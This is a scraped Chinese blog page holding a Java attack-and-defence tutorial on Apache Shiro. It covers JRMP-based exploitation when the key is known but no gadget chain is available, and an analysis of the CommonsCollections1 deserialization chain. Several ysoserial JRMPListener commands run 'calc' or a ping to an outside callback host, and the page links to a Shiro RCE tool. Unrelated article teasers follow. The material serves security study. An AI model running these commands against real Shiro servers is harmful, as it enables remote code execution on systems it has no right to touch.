news 2026/6/19 11:16:18

JAVA攻防-Shiro专题有key无利用链JRMP协议CC1链分析Transform执行链

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
JAVA攻防-Shiro专题有key无利用链JRMP协议CC1链分析Transform执行链

知识点:
1、Java攻防-Shiro-有key无利用链&JRMP协议
2、Java攻防-Shiro-CC1链分析&Transform执行链

一、演示案例-Java攻防-Shiro-有key无利用链&JRMP协议

Shriokey无链:
JRMP指的是Java远程方法协议(Java Remote Method Protocol)。它是Java对象实现远程通信的基础技术,也是Java RMIRemote Method Invocation,远程方法调用)的底层通信协议。借助JRMP,运行于某个Java虚拟机(JVM)中的对象能够调用另一个JVM中对象的方法,就如同调用本地对象的方法一样便捷。

非常规链:
利用工具:https://github.com/wyzxxz/shiro_rce_tool
文章:https://mp.weixin.qq.com/s/MdCUfyaUCAa2M3P3H1NsGw

公网靶场-URLDNS链

1、ysoserial生成JRMPListener

java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener6789CommonsCollections5"ping kfxmlanpak.zaza.eu.org"


shiro_tool使用JRMPClient模式


2、java-chains项目生成JRMPListener





shiro_tool使用JRMPClient模式

本地DEMO-执行RCE



1、ysoserial生成JRMPListener

java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener6789CommonsCollections5"calc"


shiro_tool使用JRMPClient模式

2、java-chains项目生成JRMPListener




shiro_tool使用JRMPClient模式

二、演示案例-Java攻防-Shiro-CC1链分析&Transform执行链

文章参考:https://mp.weixin.qq.com/s/J_YeNkLN6KYTCVDYFh1dvQ

commons-collections Gadget chain: ObjectInputStream.readObject()AnnotationInvocationHandler.readObject())MapEntry#setValueTransformedMap#checkSetValueChainedTransformer.transform()ConstantTransformer.transform()Runtime.class InvokerTransformer.transform()getRuntime().exec("calc");Class.getMethod()Runtime.getRuntime()Runtime.exec()//跟链过程从下往上,源码全局搜索InvokerTransformer.transform()

1、寻找sink执行点

作用:执行点触发RCE执行

InvokerTransformer#transform()




本地DEMO





ChainedTransformer#transform()

ConstantTransformer#transform()

2、寻找gadget调用链

作用:调用链实现承上启下

TransformedMap#checkSetValue

现在已经知道RCE的由来,现在只需要看谁用了transform()




MapEntry#setValue







3、寻找Source入口点

作用:入口点重写方法调用

AnnotationInvocationHandler#readObject()#setValue


ObjectInputStream#readObject()

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/13 23:48:41

模组日志总体介绍

一、本文讨论的边界 本文是对合宙 4G 模组, 以及 4GGNSS 模组的日志功能的总体介绍。通过日志,可以对研发过程中,以及模组运行过程中的各种故障进行分析。二、4G 模组日志的几种类型 4G 模组的日志有两种类型: 业务日志和底层日…

作者头像 李华
网站建设 2026/6/14 0:27:01

一文搞定AI排名SEO的手段:从“反向提问”来优化AI排名

我们过去理解的谷歌排名,大致可以简化为一个公式: 谷歌理解用户的查询,理解你的网页内容,再结合一些外部信号(比如外链),最后给出一个排名。 但在AI模式下,这个公式已经不够用了。…

作者头像 李华
网站建设 2026/6/15 18:18:37

高效筛选20w热点数据,从MySQL 2000w中精准提取

文章目录MySQL里有2000w数据,Redis中只存20w的数据,如何保证Redis中的数据都是热点数据?一、什么是热点数据?二、方法一:日志分析法1. 基本思路2. 实际操作3. 缺点三、方法二:实时统计法1. 基本思路2. 实际…

作者头像 李华
网站建设 2026/6/14 0:44:41

拥有AI员工,才发现误会了领导

人工智能爆火三年,大模型和AI工具好用之后:职场从个人单刷模式,转变成带几个AI助手打团战,可以更高效的干活,但节奏却慢不下来。打工人成领导,不知薪水涨多少?虽说只是几个AI助手,但…

作者头像 李华
网站建设 2026/6/18 16:48:44

GD5F1GM7UEYIGR:兆易创新1Gbit SPI NAND闪存,高效低功耗

品牌:兆易创新(GigaDevice) 型号:GD5F1GM7UEYIGR 容量:1Gbit 产品类型:NAND FLASH 接口类型: 标准SPI接口,支持1、2、4线模式。这意味着它只需要极少(通常6-7个)的GPIO引脚即可实…

作者头像 李华
网站建设 2026/6/8 17:13:22

九章算Angew. Chem. Int. Ed.解读【水系质子电池】江苏科技大学博士一作最新:几何预构型调控熵受限质子迁移的超快且稳定的水系质子电池

【文章信息】 本文第一作者是江苏科技大学在读博士生刘贺,曾以第一作者或共同作者在Angewandte Chemie、Advanced Functional Materials等期刊发表论文十余篇,欢迎各位科研同行交流。 【研究背景】 水系质子电池(Aqueous Proton Batteries, …

作者头像 李华